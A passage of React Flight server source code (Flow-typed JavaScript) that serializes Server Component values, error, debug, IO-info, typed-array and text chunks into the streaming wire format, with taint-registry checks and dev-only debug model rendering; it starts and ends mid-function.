{\n        return serializeDateFromDateJSON(value);\n      }\n    }\n    if (value.length >= 1024 && byteLengthOfChunk !== null) {\n      // For large strings, we encode them outside the JSON payload so that we\n      // don't have to double encode and double parse the strings. This can also\n      // be more compact in case the string has a lot of escaped characters.\n      return serializeLargeTextString(request, value);\n    }\n    return escapeStringValue(value);\n  }\n\n  if (typeof value === 'boolean') {\n    return value;\n  }\n\n  if (typeof value === 'number') {\n    return serializeNumber(value);\n  }\n\n  if (typeof value === 'undefined') {\n    return serializeUndefined();\n  }\n\n  if (typeof value === 'function') {\n    if (isClientReference(value)) {\n      return serializeClientReference(\n        request,\n        parent,\n        parentPropertyName,\n        (value: any),\n      );\n    }\n    if (isServerReference(value)) {\n      return serializeServerReference(request, (value: any));\n    }\n    if (request.temporaryReferences !== undefined) {\n      const tempRef = resolveTemporaryReference(\n        request.temporaryReferences,\n        value,\n      );\n      if (tempRef !== undefined) {\n        return serializeTemporaryReference(request, tempRef);\n      }\n    }\n\n    if (enableTaint) {\n      const tainted = TaintRegistryObjects.get(value);\n      if (tainted !== undefined) {\n        throwTaintViolation(tainted);\n      }\n    }\n\n    if (isOpaqueTemporaryReference(value)) {\n      throw new Error(\n        'Could not reference an opaque temporary reference. ' +\n          'This is likely due to misconfiguring the temporaryReferences options ' +\n          'on the server.',\n      );\n    } else if (/^on[A-Z]/.test(parentPropertyName)) {\n      throw new Error(\n        'Event handlers cannot be passed to Client Component props.' +\n          describeObjectForErrorMessage(parent, parentPropertyName) +\n          '\\nIf you need interactivity, consider converting part of this to a Client Component.',\n      );\n    } else if (\n      __DEV__ &&\n      (jsxChildrenParents.has(parent) ||\n        (jsxPropsParents.has(parent) && parentPropertyName === 'children'))\n    ) {\n      const componentName = value.displayName || value.name || 'Component';\n      throw new Error(\n        'Functions are not valid as a child of Client Components. This may happen if ' +\n          'you return ' +\n          componentName +\n          ' instead of <' +\n          componentName +\n          ' /> from render. ' +\n          'Or maybe you meant to call this function rather than return it.' +\n          describeObjectForErrorMessage(parent, parentPropertyName),\n      );\n    } else {\n      throw new Error(\n        'Functions cannot be passed directly to Client Components ' +\n          'unless you explicitly expose it by marking it with \"use server\". ' +\n          'Or maybe you meant to call this function rather than return it.' +\n          describeObjectForErrorMessage(parent, parentPropertyName),\n      );\n    }\n  }\n\n  if (typeof value === 'symbol') {\n    const writtenSymbols = request.writtenSymbols;\n    const existingId = writtenSymbols.get(value);\n    if (existingId !== undefined) {\n      return serializeByValueID(existingId);\n    }\n    // $FlowFixMe[incompatible-type] `description` might be undefined\n    const name: string = value.description;\n\n    if (Symbol.for(name) !== value) {\n      throw new Error(\n        'Only global symbols received from Symbol.for(...) can be passed to Client Components. ' +\n          `The symbol Symbol.for(${\n            // $FlowFixMe[incompatible-type] `description` might be undefined\n            value.description\n          }) cannot be found among global symbols.` +\n          describeObjectForErrorMessage(parent, parentPropertyName),\n      );\n    }\n\n    request.pendingChunks++;\n    const symbolId = request.nextChunkId++;\n    emitSymbolChunk(request, symbolId, name);\n    writtenSymbols.set(value, symbolId);\n    return serializeByValueID(symbolId);\n  }\n\n  if (typeof value === 'bigint') {\n    if (enableTaint) {\n      const tainted = TaintRegistryValues.get(value);\n      if (tainted !== undefined) {\n        throwTaintViolation(tainted.message);\n      }\n    }\n    return serializeBigInt(value);\n  }\n\n  throw new Error(\n    `Type ${typeof value} is not supported in Client Component props.` +\n      describeObjectForErrorMessage(parent, parentPropertyName),\n  );\n}\n\nfunction logRecoverableError(\n  request: Request,\n  error: mixed,\n  task: Task | null, // DEV-only\n): string {\n  const prevRequest = currentRequest;\n  // We clear the request context so that console.logs inside the callback doesn't\n  // get forwarded to the client.\n  currentRequest = null;\n  let errorDigest;\n  try {\n    const onError = request.onError;\n    if (__DEV__ && task !== null) {\n      if (supportsRequestStorage) {\n        errorDigest = requestStorage.run(\n          undefined,\n          callWithDebugContextInDEV,\n          request,\n          task,\n          onError,\n          error,\n        );\n      } else {\n        errorDigest = callWithDebugContextInDEV(request, task, onError, error);\n      }\n    } else if (supportsRequestStorage) {\n      // Exit the request context while running callbacks.\n      errorDigest = requestStorage.run(undefined, onError, error);\n    } else {\n      errorDigest = onError(error);\n    }\n  } finally {\n    currentRequest = prevRequest;\n  }\n  if (errorDigest != null && typeof errorDigest !== 'string') {\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      `onError returned something with a type other than \"string\". onError should return a string and may return null or undefined but must not return anything else. It received something of type \"${typeof errorDigest}\" instead`,\n    );\n  }\n  return errorDigest || '';\n}\n\nfunction fatalError(request: Request, error: mixed): void {\n  const onFatalError = request.onFatalError;\n  onFatalError(error);\n  if (enableTaint) {\n    cleanupTaintQueue(request);\n  }\n  // This is called outside error handling code such as if an error happens in React internals.\n  if (request.destination !== null) {\n    request.status = CLOSED;\n    closeWithError(request.destination, error);\n  } else {\n    request.status = CLOSING;\n    request.fatalError = error;\n  }\n  const abortReason = new Error(\n    'The render was aborted due to a fatal error.',\n    {\n      cause: error,\n    },\n  );\n  request.cacheController.abort(abortReason);\n}\n\nfunction serializeErrorValue(request: Request, error: Error): string {\n  if (__DEV__) {\n    let name: string = 'Error';\n    let message: string;\n    let stack: ReactStackTrace;\n    let env = (0, request.environmentName)();\n    try {\n      name = error.name;\n      // eslint-disable-next-line react-internal/safe-string-coercion\n      message = String(error.message);\n      stack = filterStackTrace(request, parseStackTrace(error, 0));\n      const errorEnv = (error: any).environmentName;\n      if (typeof errorEnv === 'string') {\n        // This probably came from another FlightClient as a pass through.\n        // Keep the environment name.\n        env = errorEnv;\n      }\n    } catch (x) {\n      message = 'An error occurred but serializing the error message failed.';\n      stack = [];\n    }\n    const errorInfo: ReactErrorInfoDev = {name, message, stack, env};\n    if ('cause' in error) {\n      const cause: ReactClientValue = (error.cause: any);\n      const causeId = outlineModel(request, cause);\n      errorInfo.cause = serializeByValueID(causeId);\n    }\n    if (\n      typeof AggregateError !== 'undefined' &&\n      error instanceof AggregateError\n    ) {\n      const errors: ReactClientValue = (error.errors: any);\n      const errorsId = outlineModel(request, errors);\n      errorInfo.errors = serializeByValueID(errorsId);\n    }\n    const id = outlineModel(request, errorInfo);\n    return '$Z' + id.toString(16);\n  } else {\n    // In prod we don't emit any information about this Error object to avoid\n    // unintentional leaks. Since this doesn't actually throw on the server\n    // we don't go through onError and so don't register any digest neither.\n    return '$Z';\n  }\n}\n\nfunction serializeDebugErrorValue(\n  request: Request,\n  counter: {objectLimit: number},\n  error: Error,\n): string {\n  if (__DEV__) {\n    let name: string = 'Error';\n    let message: string;\n    let stack: ReactStackTrace;\n    let env = (0, request.environmentName)();\n    try {\n      name = error.name;\n      // eslint-disable-next-line react-internal/safe-string-coercion\n      message = String(error.message);\n      stack = filterStackTrace(request, parseStackTrace(error, 0));\n      const errorEnv = (error: any).environmentName;\n      if (typeof errorEnv === 'string') {\n        // This probably came from another FlightClient as a pass through.\n        // Keep the environment name.\n        env = errorEnv;\n      }\n    } catch (x) {\n      message = 'An error occurred but serializing the error message failed.';\n      stack = [];\n    }\n    const errorInfo: ReactErrorInfoDev = {name, message, stack, env};\n    if ('cause' in error) {\n      counter.objectLimit--;\n      const cause: ReactClientValue = (error.cause: any);\n      const causeId = outlineDebugModel(request, counter, cause);\n      errorInfo.cause = serializeByValueID(causeId);\n    }\n    if (\n      typeof AggregateError !== 'undefined' &&\n      error instanceof AggregateError\n    ) {\n      counter.objectLimit--;\n      const errors: ReactClientValue = (error.errors: any);\n      const errorsId = outlineDebugModel(request, counter, errors);\n      errorInfo.errors = serializeByValueID(errorsId);\n    }\n    const id = outlineDebugModel(\n      request,\n      {objectLimit: stack.length * 2 + 1},\n      errorInfo,\n    );\n    return '$Z' + id.toString(16);\n  } else {\n    // In prod we don't emit any information about this Error object to avoid\n    // unintentional leaks. Since this doesn't actually throw on the server\n    // we don't go through onError and so don't register any digest neither.\n    return '$Z';\n  }\n}\n\nfunction emitErrorChunk(\n  request: Request,\n  id: number,\n  digest: string,\n  error: mixed,\n  debug: boolean, // DEV-only\n  owner: ?ReactComponentInfo, // DEV-only\n): void {\n  let errorInfo: ReactErrorInfo;\n  if (__DEV__) {\n    let name: string = 'Error';\n    let message: string;\n    let stack: ReactStackTrace;\n    let env = (0, request.environmentName)();\n    let causeReference: null | string = null;\n    let errorsReference: null | string = null;\n    try {\n      if (error instanceof Error) {\n        name = error.name;\n        // eslint-disable-next-line react-internal/safe-string-coercion\n        message = String(error.message);\n        stack = filterStackTrace(request, parseStackTrace(error, 0));\n        const errorEnv = (error: any).environmentName;\n        if (typeof errorEnv === 'string') {\n          // This probably came from another FlightClient as a pass through.\n          // Keep the environment name.\n          env = errorEnv;\n        }\n        if ('cause' in error) {\n          const cause: ReactClientValue = (error.cause: any);\n          const causeId = debug\n            ? outlineDebugModel(request, {objectLimit: 5}, cause)\n            : outlineModel(request, cause);\n          causeReference = serializeByValueID(causeId);\n        }\n        if (\n          typeof AggregateError !== 'undefined' &&\n          error instanceof AggregateError\n        ) {\n          const errors: ReactClientValue = (error.errors: any);\n          const errorsId = debug\n            ? outlineDebugModel(request, {objectLimit: 5}, errors)\n            : outlineModel(request, errors);\n          errorsReference = serializeByValueID(errorsId);\n        }\n      } else if (typeof error === 'object' && error !== null) {\n        message = describeObjectForErrorMessage(error);\n        stack = [];\n      } else {\n        // eslint-disable-next-line react-internal/safe-string-coercion\n        message = String(error);\n        stack = [];\n      }\n    } catch (x) {\n      message = 'An error occurred but serializing the error message failed.';\n      stack = [];\n    }\n    const ownerRef =\n      owner == null ? null : outlineComponentInfo(request, owner);\n    errorInfo = {digest, name, message, stack, env, owner: ownerRef};\n    if (causeReference !== null) {\n      (errorInfo: ReactErrorInfoDev).cause = causeReference;\n    }\n    if (errorsReference !== null) {\n      (errorInfo: ReactErrorInfoDev).errors = errorsReference;\n    }\n  } else {\n    errorInfo = {digest};\n  }\n  const row = serializeRowHeader('E', id) + stringify(errorInfo) + '\\n';\n  const processedChunk = stringToChunk(row);\n  if (__DEV__ && debug) {\n    request.completedDebugChunks.push(processedChunk);\n  } else {\n    request.completedErrorChunks.push(processedChunk);\n  }\n}\n\nfunction emitImportChunk(\n  request: Request,\n  id: number,\n  clientReferenceMetadata: ClientReferenceMetadata,\n  debug: boolean,\n): void {\n  // $FlowFixMe[incompatible-type] stringify can return null\n  const json: string = stringify(clientReferenceMetadata);\n  const row = serializeRowHeader('I', id) + json + '\\n';\n  const processedChunk = stringToChunk(row);\n  if (__DEV__ && debug) {\n    request.completedDebugChunks.push(processedChunk);\n  } else {\n    request.completedImportChunks.push(processedChunk);\n  }\n}\n\nfunction emitHintChunk<Code: HintCode>(\n  request: Request,\n  code: Code,\n  model: HintModel<Code>,\n): void {\n  const json: string = stringify(model);\n  const row = ':H' + code + json + '\\n';\n  const processedChunk = stringToChunk(row);\n  request.completedHintChunks.push(processedChunk);\n}\n\nfunction emitSymbolChunk(request: Request, id: number, name: string): void {\n  const symbolReference = serializeSymbolReference(name);\n  const processedChunk = encodeReferenceChunk(request, id, symbolReference);\n  request.completedImportChunks.push(processedChunk);\n}\n\nfunction emitModelChunk(request: Request, id: number, json: string): void {\n  const row = id.toString(16) + ':' + json + '\\n';\n  const processedChunk = stringToChunk(row);\n  request.completedRegularChunks.push(processedChunk);\n}\n\nfunction emitDebugHaltChunk(request: Request, id: number): void {\n  if (!__DEV__) {\n    // These errors should never make it into a build so we don't need to encode them in codes.json\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'emitDebugHaltChunk should never be called in production mode. This is a bug in React.',\n    );\n  }\n  // This emits a marker that this row will never complete and should intentionally never resolve\n  // even when the client stream is closed. We use just the lack of data to indicate this.\n  const row = id.toString(16) + ':\\n';\n  const processedChunk = stringToChunk(row);\n  request.completedDebugChunks.push(processedChunk);\n}\n\nfunction emitDebugChunk(\n  request: Request,\n  id: number,\n  debugInfo: ReactDebugInfoEntry,\n): void {\n  if (!__DEV__) {\n    // These errors should never make it into a build so we don't need to encode them in codes.json\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'emitDebugChunk should never be called in production mode. This is a bug in React.',\n    );\n  }\n\n  const json: string = serializeDebugModel(request, 500, debugInfo);\n  if (request.debugDestination !== null) {\n    if (json[0] === '\"' && json[1] === '$') {\n      // This is already an outlined reference so we can just emit it directly,\n      // without an unnecessary indirection.\n      const row = serializeRowHeader('D', id) + json + '\\n';\n      request.completedRegularChunks.push(stringToChunk(row));\n    } else {\n      // Outline the debug information to the debug channel.\n      const outlinedId = request.nextChunkId++;\n      const debugRow = outlinedId.toString(16) + ':' + json + '\\n';\n      request.pendingDebugChunks++;\n      request.completedDebugChunks.push(stringToChunk(debugRow));\n      const row =\n        serializeRowHeader('D', id) + '\"$' + outlinedId.toString(16) + '\"\\n';\n      request.completedRegularChunks.push(stringToChunk(row));\n    }\n  } else {\n    const row = serializeRowHeader('D', id) + json + '\\n';\n    request.completedRegularChunks.push(stringToChunk(row));\n  }\n}\n\nfunction outlineComponentInfo(\n  request: Request,\n  componentInfo: ReactComponentInfo,\n): string {\n  if (!__DEV__) {\n    // These errors should never make it into a build so we don't need to encode them in codes.json\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'outlineComponentInfo should never be called in production mode. This is a bug in React.',\n    );\n  }\n\n  const existingRef = request.writtenDebugObjects.get(componentInfo);\n  if (existingRef !== undefined) {\n    // Already written\n    return existingRef;\n  }\n\n  if (componentInfo.owner != null) {\n    // Ensure the owner is already outlined.\n    outlineComponentInfo(request, componentInfo.owner);\n  }\n\n  // Limit the number of objects we write to prevent emitting giant props objects.\n  let objectLimit = 10;\n  if (componentInfo.stack != null) {\n    // Ensure we have enough object limit to encode the stack trace.\n    objectLimit += componentInfo.stack.length;\n  }\n\n  // We use the console encoding so that we can dedupe objects but don't necessarily\n  // use the full serialization that requires a task.\n  const counter = {objectLimit};\n\n  // We can't serialize the ConsoleTask/Error objects so we need to omit them before serializing.\n  const componentDebugInfo: Omit<\n    ReactComponentInfo,\n    'debugTask' | 'debugStack',\n  > = {\n    name: componentInfo.name,\n    key: componentInfo.key,\n  };\n  if (componentInfo.env != null) {\n    // $FlowFixMe[cannot-write]\n    componentDebugInfo.env = componentInfo.env;\n  }\n  if (componentInfo.owner != null) {\n    // $FlowFixMe[cannot-write]\n    componentDebugInfo.owner = componentInfo.owner;\n  }\n  if (componentInfo.stack == null && componentInfo.debugStack != null) {\n    // If we have a debugStack but no parsed stack we should parse it.\n    // $FlowFixMe[cannot-write]\n    componentDebugInfo.stack = filterStackTrace(\n      request,\n      parseStackTrace(componentInfo.debugStack, 1),\n    );\n  } else if (componentInfo.stack != null) {\n    // $FlowFixMe[cannot-write]\n    componentDebugInfo.stack = componentInfo.stack;\n  }\n  // Ensure we serialize props after the stack to favor the stack being complete.\n  // $FlowFixMe[cannot-write]\n  componentDebugInfo.props = componentInfo.props;\n\n  const id = outlineDebugModel(request, counter, componentDebugInfo);\n  const ref = serializeByValueID(id);\n  request.writtenDebugObjects.set(componentInfo, ref);\n  // We also store this in the main dedupe set so that it can be referenced by inline React Elements.\n  request.writtenObjects.set(componentInfo, ref);\n  return ref;\n}\n\nfunction emitIOInfoChunk(\n  request: Request,\n  id: number,\n  name: string,\n  start: number,\n  end: number,\n  value: ?Promise<mixed>,\n  env: ?string,\n  owner: ?ReactComponentInfo,\n  stack: ?ReactStackTrace,\n): void {\n  if (!__DEV__) {\n    // These errors should never make it into a build so we don't need to encode them in codes.json\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'emitIOInfoChunk should never be called in production mode. This is a bug in React.',\n    );\n  }\n\n  let objectLimit = 10;\n  if (stack) {\n    objectLimit += stack.length;\n  }\n\n  const relativeStartTimestamp = start - request.timeOrigin;\n  const relativeEndTimestamp = end - request.timeOrigin;\n  const debugIOInfo: Omit<ReactIOInfo, 'debugTask' | 'debugStack'> = {\n    name: name,\n    start: relativeStartTimestamp,\n    end: relativeEndTimestamp,\n  };\n  if (env != null) {\n    // $FlowFixMe[cannot-write]\n    debugIOInfo.env = env;\n  }\n  if (stack != null) {\n    // $FlowFixMe[cannot-write]\n    debugIOInfo.stack = stack;\n  }\n  if (owner != null) {\n    // $FlowFixMe[cannot-write]\n    debugIOInfo.owner = owner;\n  }\n  if (value !== undefined) {\n    // $FlowFixMe[cannot-write]\n    debugIOInfo.value = value;\n  }\n  const json: string = serializeDebugModel(request, objectLimit, debugIOInfo);\n  const row = id.toString(16) + ':J' + json + '\\n';\n  const processedChunk = stringToChunk(row);\n  request.completedDebugChunks.push(processedChunk);\n}\n\nfunction outlineIOInfo(request: Request, ioInfo: ReactIOInfo): void {\n  if (request.writtenObjects.has(ioInfo)) {\n    // Already written\n    return;\n  }\n  // We can't serialize the ConsoleTask/Error objects so we need to omit them before serializing.\n  request.pendingDebugChunks++;\n  const id = request.nextChunkId++;\n  const owner = ioInfo.owner;\n  // Ensure the owner is already outlined.\n  if (owner != null) {\n    outlineComponentInfo(request, owner);\n  }\n  let debugStack;\n  if (ioInfo.stack == null && ioInfo.debugStack != null) {\n    // If we have a debugStack but no parsed stack we should parse it.\n    debugStack = filterStackTrace(\n      request,\n      parseStackTrace(ioInfo.debugStack, 1),\n    );\n  } else {\n    debugStack = ioInfo.stack;\n  }\n  let env = ioInfo.env;\n  if (env == null) {\n    // If we're forwarding IO info from this environment, an empty env is effectively the \"client\" side.\n    // The \"client\" from the perspective of our client will be this current environment.\n    env = (0, request.environmentName)();\n  }\n  emitIOInfoChunk(\n    request,\n    id,\n    ioInfo.name,\n    ioInfo.start,\n    ioInfo.end,\n    ioInfo.value,\n    env,\n    owner,\n    debugStack,\n  );\n  request.writtenDebugObjects.set(ioInfo, serializeByValueID(id));\n}\n\nfunction serializeIONode(\n  request: Request,\n  ioNode: IONode | PromiseNode | UnresolvedPromiseNode,\n  promiseRef: null | WeakRef<Promise<mixed>>,\n): string {\n  const existingRef = request.writtenDebugObjects.get(ioNode);\n  if (existingRef !== undefined) {\n    // Already written\n    return existingRef;\n  }\n\n  let stack = null;\n  let name = '';\n  if (ioNode.promise !== null) {\n    // Pick an explicit name from the Promise itself if it exists.\n    // Note that we don't use the promiseRef passed in since that's sometimes the awaiting Promise\n    // which is the value observed but it's likely not the one with the name on it.\n    const promise = ioNode.promise.deref();\n    if (\n      promise !== undefined &&\n      // $FlowFixMe[prop-missing]\n      typeof promise.displayName === 'string'\n    ) {\n      name = promise.displayName;\n    }\n  }\n  if (ioNode.stack !== null) {\n    // The stack can contain some leading internal frames for the construction of the promise that we skip.\n    const fullStack = stripLeadingPromiseCreationFrames(ioNode.stack);\n    stack = filterStackTrace(request, fullStack);\n    if (name === '') {\n      // If we didn't have an explicit name, try finding one from the stack.\n      name = findCalledFunctionNameFromStackTrace(request, fullStack);\n      // The name can include the object that this was called on but sometimes that's\n      // just unnecessary context.\n      if (name.startsWith('Window.')) {\n        name = name.slice(7);\n      } else if (name.startsWith('<anonymous>.')) {\n        name = name.slice(7);\n      }\n    }\n  }\n  const owner = ioNode.owner;\n  // Ensure the owner is already outlined.\n  if (owner != null) {\n    outlineComponentInfo(request, owner);\n  }\n\n  let value: void | Promise<mixed> = undefined;\n  if (promiseRef !== null) {\n    value = promiseRef.deref();\n  }\n\n  // We log the environment at the time when we serialize the I/O node.\n  // The environment name may have changed from when the I/O was actually started.\n  const env = (0, request.environmentName)();\n\n  const endTime =\n    ioNode.tag === UNRESOLVED_PROMISE_NODE\n      ? // Mark the end time as now. It's arbitrary since it's not resolved but this\n        // marks when we called abort and therefore stopped trying.\n        request.abortTime\n      : ioNode.end;\n\n  request.pendingDebugChunks++;\n  const id = request.nextChunkId++;\n  emitIOInfoChunk(\n    request,\n    id,\n    name,\n    ioNode.start,\n    endTime,\n    value,\n    env,\n    owner,\n    stack,\n  );\n  const ref = serializeByValueID(id);\n  request.writtenDebugObjects.set(ioNode, ref);\n  return ref;\n}\n\nfunction emitTypedArrayChunk(\n  request: Request,\n  id: number,\n  tag: string,\n  typedArray: $ArrayBufferView,\n  debug: boolean,\n): void {\n  if (enableTaint) {\n    if (TaintRegistryByteLengths.has(typedArray.byteLength)) {\n      // If we have had any tainted values of this length, we check\n      // to see if these bytes matches any entries in the registry.\n      const tainted = TaintRegistryValues.get(\n        binaryToComparableString(typedArray),\n      );\n      if (tainted !== undefined) {\n        throwTaintViolation(tainted.message);\n      }\n    }\n  }\n  if (debug) {\n    request.pendingDebugChunks++;\n  } else {\n    request.pendingChunks++; // Extra chunk for the header.\n  }\n  // TODO: Convert to little endian if that's not the server default.\n  const binaryChunk = typedArrayToBinaryChunk(typedArray);\n  const binaryLength = byteLengthOfBinaryChunk(binaryChunk);\n  const row = id.toString(16) + ':' + tag + binaryLength.toString(16) + ',';\n  const headerChunk = stringToChunk(row);\n  if (__DEV__ && debug) {\n    request.completedDebugChunks.push(headerChunk, binaryChunk);\n  } else {\n    request.completedRegularChunks.push(headerChunk, binaryChunk);\n  }\n}\n\nfunction emitTextChunk(\n  request: Request,\n  id: number,\n  text: string,\n  debug: boolean,\n): void {\n  if (byteLengthOfChunk === null) {\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'Existence of byteLengthOfChunk should have already been checked. This is a bug in React.',\n    );\n  }\n  if (debug) {\n    request.pendingDebugChunks++;\n  } else {\n    request.pendingChunks++; // Extra chunk for the header.\n  }\n  const textChunk = stringToChunk(text);\n  const binaryLength = byteLengthOfChunk(textChunk);\n  const row = id.toString(16) + ':T' + binaryLength.toString(16) + ',';\n  const headerChunk = stringToChunk(row);\n  if (__DEV__ && debug) {\n    request.completedDebugChunks.push(headerChunk, textChunk);\n  } else {\n    request.completedRegularChunks.push(headerChunk, textChunk);\n  }\n}\n\nfunction serializeEval(source: string): string {\n  if (!__DEV__) {\n    // These errors should never make it into a build so we don't need to encode them in codes.json\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'serializeEval should never be called in production mode. This is a bug in React.',\n    );\n  }\n  return '$E' + source;\n}\n\nconst CONSTRUCTOR_MARKER: symbol = __DEV__ ? Symbol() : (null: any);\n\nlet debugModelRoot: mixed = null;\nlet debugNoOutline: mixed = null;\n// This is a forked version of renderModel which should never error, never suspend and is limited\n// in the depth it can encode.\nfunction renderDebugModel(\n  request: Request,\n  counter: {objectLimit: number},\n  parent:\n    | {+[propertyName: string | number]: ReactClientValue}\n    | $ReadOnlyArray<ReactClientValue>,\n  parentPropertyName: string,\n  value: ReactClientValue,\n): ReactJSONValue {\n  if (value === null) {\n    return null;\n  }\n\n  // Special Symbol, that's very common.\n  if (value === REACT_ELEMENT_TYPE) {\n    return '$';\n  }\n\n  if (typeof value === 'object') {\n    if (isClientReference(value)) {\n      // We actually have this value on the client so we could import it.\n      // This might be confusing though because on the Server it won't actually\n      // be this value, so if you're debugging client references maybe you'd be\n      // better with a place holder.\n      return serializeDebugClientReference(\n        request,\n        parent,\n        parentPropertyName,\n        (value: any),\n      );\n    }\n    if (value.$$typeof === CONSTRUCTOR_MARKER) {\n      const constructor: Function = (value: any).constructor;\n      let ref = request.writtenDebugObjects.get(constructor);\n      if (ref === undefined) {\n        const id = outlineDebugModel(request, counter, constructor);\n        ref = serializeByValueID(id);\n      }\n      return '$P' + ref.slice(1);\n    }\n\n    if (request.temporaryReferences !== undefined) {\n      const tempRef = resolveTemporaryReference(\n        request.temporaryReferences,\n        value,\n      );\n      if (tempRef !== undefined) {\n        return serializeTemporaryReference(request, tempRef);\n      }\n    }\n\n    const writtenDebugObjects = request.writtenDebugObjects;\n    const existingDebugReference = writtenDebugObjects.get(value);\n    if (existingDebugReference !== undefined) {\n      if (debugModelRoot === value) {\n        // This is the ID we're currently emitting so we need to write it\n        // once but if we discover it again, we refer to it by id.\n        debugModelRoot = null;\n      } else {\n        // We've already emitted this as a debug object. We favor that version if available.\n        return existingDebugReference;\n      }\n    } else if (parentPropertyName.indexOf(':') === -1) {\n      // TODO: If the property name contains a colon, we don't dedupe. Escape instead.\n      const parentReference = writtenDebugObjects.get(parent);\n      if (parentReference !== undefined) {\n        // If the parent has a reference, we can refer to this object indirectly\n        // through the property name inside that parent.\n        if (counter.objectLimit <= 0 && !doNotLimit.has(value)) {\n          // If we are going to defer this, don't dedupe it since then we'd dedupe it to be\n          // deferred in future reference.\n          return serializeDeferredObject(request, value);\n        }\n\n        let propertyName = parentPropertyName;\n        if (isArray(parent) && parent[0] === REACT_ELEMENT_TYPE) {\n          // For elements, we've converted it to an array but we'll have converted\n          // it back to an element before we read the references so the property\n          // needs to be aliased.\n          switch (parentPropertyName) {\n            case '1':\n              propertyName = 'type';\n              break;\n            case '2':\n              propertyName = 'key';\n              break;\n            case '3':\n              propertyName = 'props';\n              break;\n            case '4':\n              propertyName = '_owner';\n              break;\n          }\n        }\n        writtenDebugObjects.set(value, parentReference + ':' + propertyName);\n      } else if (debugNoOutline !== value) {\n        // If this isn't the root object (like meta data) and we don't have an id for it, outline\n        // it so that we can dedupe it by reference later.\n        // $FlowFixMe[method-unbinding]\n        if (typeof value.then === 'function') {\n          // If this is a Promise we're going to assign it an external ID anyway which can be deduped.\n          const thenable: Thenable<any> = (value: any);\n          return serializeDebugThenable(request, counter, thenable);\n        } else {\n          const outlinedId = outlineDebugModel(request, counter, value);\n          return serializeByValueID(outlinedId);\n        }\n      }\n    }\n\n    const writtenObjects = request.writtenObjects;\n    const existingReference = writtenObjects.get(value);\n    if (existingReference !== undefined) {\n      // We've already emitted this as a real object, so we can refer to that by its existing reference.\n      // This might be slightly different serialization than what renderDebugModel would've produced.\n      return existingReference;\n    }\n\n    if (counter.objectLimit <= 0 && !doNotLimit.has(value)) {\n      // We've reached our max number of objects to serialize across the wire so we serialize this\n      // as a marker so that the client can error or lazy load this when accessed by the console.\n      return serializeDeferredObject(request, value);\n    }\n\n    counter.objectLimit--;\n\n    const deferredDebugObjects = request.deferredDebugObjects;\n    if (deferredDebugObjects !== null) {\n      const deferredId = deferredDebugObjects.existing.get(value);\n      // We earlier deferred this same object. We're now going to eagerly emit it so let's emit it\n      // at the same ID that we already used to refer to it.\n      if (deferredId !== undefined) {\n        deferredDebugObjects.existing.delete(value);\n        deferredDebugObjects.retained.delete(deferredId);\n        emitOutlinedDebugModelChunk(request, deferredId, counter, value);\n        return serializeByValueID(deferredId);\n      }\n    }\n\n    switch ((value: any).$$typeof) {\n      case REACT_ELEMENT_TYPE: {\n        const element: ReactElement = (value: any);\n\n        if (element._owner != null) {\n          outlineComponentInfo(request, element._owner);\n        }\n        if (typeof element.type === 'object' && element.type !== null) {\n          // If the type is an object it can get cut off which shouldn't happen here.\n          doNotLimit.add(element.type);\n        }\n        if (typeof element.key === 'object' && element.key !== null) {\n          // This should never happen but just in case.\n          doNotLimit.add(element.key);\n        }\n        doNotLimit.add(element.props);\n        if (element._owner !== null) {\n          doNotLimit.add(element._owner);\n        }\n\n        let debugStack: null | ReactStackTrace = null;\n        if (element._debugStack != null) {\n          // Outline the debug stack so that it doesn't get cut off.\n          debugStack = filterStackTrace(\n            request,\n            parseStackTrace(element._debugStack, 1),\n          );\n          doNotLimit.add(debugStack);\n          for (let i = 0; i < debugStack.length; i++) {\n            doNotLimit.add(debugStack[i]);\n          }\n        }\n        return [\n          REACT_ELEMENT_TYPE,\n          element.type,\n          element.key,\n          element.props,\n          element._owner,\n          debugStack,\n          element._store.validated,\n        ];\n      }\n      case REACT_LAZY_TYPE: {\n        // To avoid actually initializing a lazy causing a side-effect, we make\n        // some assumptions about the structure of the payload even though\n        // that's not really part of the contract. In practice, this is really\n        // just coming from React.lazy helper or Flight.\n        const lazy: LazyComponent<any, any> = (value: any);\n        const payload = lazy._payload;\n\n        if (payload !== null && typeof payload === 'object') {\n          // React.lazy constructor\n          switch (payload._status) {\n            case -1 /* Uninitialized */:\n            case 0 /* Pending */:\n              break;\n            case 1 /* Resolved */: {\n              const id = outlineDebugModel(request, counter, payload._result);\n              return serializeLazyID(id);\n            }\n            case 2 /* Rejected */: {\n              // We don't log these errors since they didn't actually throw into\n              // Flight.\n              const digest = '';\n              const id = request.nextChunkId++;\n              emitErrorChunk(request, id, digest, payload._result, true, null);\n              return serializeLazyID(id);\n            }\n          }\n\n          // React Flight\n          switch (payload.status) {\n            case 'pending':\n            case 'blocked':\n            case 'resolved_model':\n              // The value is an uninitialized model from the Flight client.\n              // It's not very useful to emit that.\n              break;\n            case 'resolved_module':\n              // The value is client reference metadata from the Flight client.\n              // It's likely for SSR, so we choose not to emit it.\n              break;\n            case 'fulfilled': {\n              const id = outlineDebugModel(request, counter, payload.value);\n              return serializeLazyID(id);\n            }\n            case 'rejected': {\n              // We don't log these errors since they didn't actually throw into\n              // Flight.\n              const digest = '';\n              const id = request.nextChunkId++;\n              emitErrorChunk(request, id, digest, payload.reason, true, null);\n              return serializeLazyID(id);\n            }\n          }\n        }\n\n        // We couldn't emit a resolved or rejected value synchronously. For now,\n        // we emit this as a halted chunk. TODO: We could maybe also handle\n        // pending lazy debug models like we do in serializeDebugThenable,\n        // if/when we determine that it's worth the added complexity.\n        request.pendingDebugChunks++;\n        const id = request.nextChunkId++;\n        emitDebugHaltChunk(request, id);\n        return serializeLazyID(id);\n      }\n    }\n\n    // $FlowFixMe[method-unbinding]\n    if (typeof value.then === 'function') {\n      const thenable: Thenable<any> = (value: any);\n      return serializeDebugThenable(request, counter, thenable);\n    }\n\n    if (isArray(value)) {\n      if (value.length > 200 && !doNotLimit.has(value)) {\n        // Defer large arrays. They're heavy to serialize.\n        // TODO: Consider doing the same for objects with many properties too.\n        return serializeDeferredObject(request, value);\n      }\n      return value;\n    }\n\n    if (value instanceof Date) {\n      return serializeDate(value);\n    